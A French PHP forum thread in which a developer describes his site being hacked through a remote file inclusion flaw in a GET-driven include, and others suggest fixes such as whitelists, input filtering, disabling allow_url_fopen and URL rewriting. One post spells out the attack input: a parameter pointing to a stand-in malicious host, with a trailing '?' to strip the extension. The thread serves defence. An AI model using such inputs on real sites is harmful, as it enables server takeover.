|
Publicité ' | |||||||||||||||||||||||
|
|
#1 | ||||
|
Membre régulier
![]() |
Bonjours à tous,
j'ai trouvé utile de poster cette discution car bon nombre d'entre nous ont fait, fait ou feront cette erreur. Dans un de mes post http://www.developpez.net/forums/sho...d.php?t=510537 j'ai conseillé à un membre de ce forum d'inclure des pages dans sont index.php par la mêthode GETS. ex : Avec URL Citation:
Donc mon index.php j'avais :Un beau jour, j'avais un entretien d'embauche pour webmaster/webdesigner. Content d'un de mes sites, j'ai voulu le montrer. Et là surprise, ils ont vu mon site mais version hacker. L'hebergeur de ce site m'a averti le même jour par ce message Citation:
de ces c***** qui em***** le monde.Bref, le problème c’est que php peut inclure n’importe quoi, et même des fichiers distants. Donc si quelqu’un appelle l’URL :Le “?” final sert à faire tomber le “.php” dans notre include. Le contenu du fichier “scriptMechant.txt” sera interprété et exécuté localement (sur votre serveur). Donc le pirate peut tout faire, comme lister les fichiers, les modifier ou effacer. Pour eviter ce genre d'attaque, il faut filtrer ce qui passe dans la variable "$page" dans mon exemple. Il faut faire une liste de fichier à autorisé l'inclure. Ma methode de 1er secour était de faire : Code :
|
||||
|
|
00
|
|
|
#2 |
|
Membre éclairé
![]() Inscription : mai 2008 Messages : 359 ![]() |
Salut,
il y aquelques règles de base à respecter absolument. L'un d'entre eux : ne jamais faire confiance à ce qui provient de l'extérieur. Y compris les requête Get / Post. Ensuite, au lieu d'indiquer directement les noms des fichiers à inclure dans la requête, on peut par exemple attribuer un id à chaque page. Au lieu d'avoir : tu auras Cette correspondance, très simple à réaliser avec une bdd ou même un simple fichier, t'évite 1) d'indiquer au monde entier que tu inclus des pages dans ton script; et 2) de bloquer automatiquement toute inclusion de fichiers distants. Tu peux même filtrer le champ 'id' pour que ça soit un entier uniquement, par ex, et rejeter tout 'id' qui ne soit pas entier. Tu peux également faire de l'url rewriting, et au lieu d'avoir Code :
monsite/index.php?page=macategorie&valeur1=7523 Résultat: pour le pirate, tout site sera un site statique, donc sans intérêt pour son script. |
|
|
00
|
|
|
#3 |
|
Membre régulier
![]() |
Peux tu m'en dire plus sur l'url rewriting ?
|
|
|
00
|
|
|
#4 |
|
Membre éclairé
![]() Inscription : mai 2008 Messages : 359 ![]() |
Je pourrais, mais sans doute pas mieux que ça :
http://apache.developpez.com/cours/?...s#urlrewriting Ces trois cours devraient répondre à toutes tes questions. |
|
|
00
|
|
|
#5 | ||||
|
Membre Expert
![]() ![]() Inscription : janvier 2004 Messages : 1 238 ![]() |
sans passer par des ID numeriques, que personnellement je n'aime pas du tout pour les raisons suivantes :
* URL qui ne ressemble a rien * Certains robots de moteurs de recherche n'indexent pas les pages ayant des id numeriques * Prise de tete pour faire un lien vers la page ("attend... cette page c'est le numero... 5789 ! A moins que ce soit 5788 ?") on peut tres bien indiquer le nom de la page en respectant quelques regles simples : * Interdire FORMELLEMENT tout les caracteres sensibles, on peut meme n'autoriser que l'alphanumerique. Par exemple : Code :
A noter que l'on peut aussi modifier la variable de configuration allow_url_fopen pour éviter ca. * Valider le contenu : Code :
__________________
PHP : Regle n°1 : mysql_query(...), mysql_connect(...) et mysq_select_db(...) doivent EN DEBUG etre suivies de or die(mysql_error()); (mais jamais en production) Regle n°2 : Mieux encore : mysql_query($requete) or die("$requete<br/>".mysql_error()); Regle n°3 : echo '<pre>';var_dump($var);echo '</pre>'; affiche le contenu et le type d'une variable. Publiez vos textes de fantasy et de science-fiction sur http://www.cercledefaeries.com/concours/ |
||||
|
|
00
|
|
|
#6 |
|
Membre régulier
![]() |
D'ou l'interêt de la reécriture d'url.
Merci Tsilefy pour l'info, ça fonctionne bien et ça passe nikel pour le sitemap google. J'ai bien fait de poster ce sujet |
|
|
00
|
|
|
#7 |
![]() ![]() Directeur technique Inscription : septembre 2006 Messages : 5 959 ![]() |
Sinon , si tu avais déjà pris le soin d'ajouter un préfixe a tes pages du genre :
couplé a un file_exists('') pour vérifier l'existence de la page sinon envoyer une par défaut , tu aurais évité l'inclusion d'url distantes , de plus en passant la directive allow_url_open() a off , on en parlait plus , pas besoin de mettre en place d'URL rewriting ! Mais je dis pas que les solutions proposées au dessus ne sont pas bien , je donne juste ma version simplifiée de la résolution de ton problème ! |
|
|
00
|
|
|
#8 |
|
Membre régulier
![]() |
Oui même en rajoutant une extension php et un file_exist les intrusions sont possibles.
Le problème c’est que php peut inclure n’importe quoi, et même des fichiers distants. avec page = http : // www . siteMechant.com/scriptMechant.txt? Un “?” final sert à faire tomber le “.php” file_exist quand même mais à distance. Faut pas oublier qu'une machine peux essayer de scruter des milliers de solutions en quelques minutes. Chez la plupart des hebergeur on n'as pas acces à la config apache pour renforcer un peu la sécurité. Comme pour le safe_mode etc... De toute façon l'url rewriting ça a plusieurs avantages et dès que tu as réussie à prendre en main la syntaxe ça va vite à mettre en place.ça m'évite aussi de tout modifier la tonne de code de tny_mce (genre s'éditeur richedit comme celui de ce forum) contenant des failles et qui lui aussi à permis les intrusions. |
|
|
00
|
|
|
#9 |
|
Membre éprouvé
![]() Inscription : juin 2007 Messages : 345 ![]() |
évidement, pour le montage de page, par bloc, le include n'est pas recommandé pour certaines raisons dont celles abordées.
Le recours aux class, est préférable, et même nécessaires. l'abandon du include n'est pas totalement affirmé, donc include fonctionne bop : sans revenir en arrière sur son parcours php, intéresse toi vraiment à la POO de nouveaux standards, de nouvelles règles de sécurités, voilà le quotidien d'un développeur bon courage pour la suite |
|
|
00
|
|
|
#10 |
|
Membre Expert
![]() Inscription : janvier 2007 Messages : 1 452 ![]() |
Hm. C'est bien dommage cela, mais tu as effectivmeent intérets à vérifier toutes les variables entrantes GET et post comme dit plus haut, mais aussi les cookies ! et oui.
Sinon je toruve que tu t'en tires plutôt bien, si tu étais sur un dédié face à script kiddie un peu débrouillard il t'aurait coller un vrai script d'admin et vas savoir ce qu'il aurait pu faire... ROotkit, masquage de processus, ect... La vrai galère quoi.... : ( |
|
|
00
|
|
|
#11 | |
![]() ![]() Clément Architecte Logiciel Inscription : avril 2008 Messages : 1 370 ![]() |
Citation:
- Tu es conscient que ton site peut être victime d'une attaque - Tu ne referas plus la même erreur - Tu sais d'où elle vient - Tu sais comment faire autrement - Tu sais qu'il faut te protéger des GET/POST - Tu sais comment te protéger - Il n'a fait aucun "véritable" dégât alors qu'il aurait pu. Alors oui, certains hacker sont des pourris, mais c'est plus le cas des crackers qui font ça pour les bénéfices, et ce hacker en question t'as à mes yeux rendu service plus que tu ne l'imagines.
__________________
One minute was enough, Tyler said, a person had to work hard for it, but a minute of perfection was worth the effort. A moment was the most you could ever expect from perfection. -- Chuck Palahniuk, Fight Club, Chapter 3 -- |
|
|
|
00
|
|
|
#12 |
|
Membre régulier
![]() |
Oui tu as raison.
Et ce tropic, je l'espère rendrant service à + d'un. |
|
|
00
|
Copyright © 2000-2012 - www.developpez.com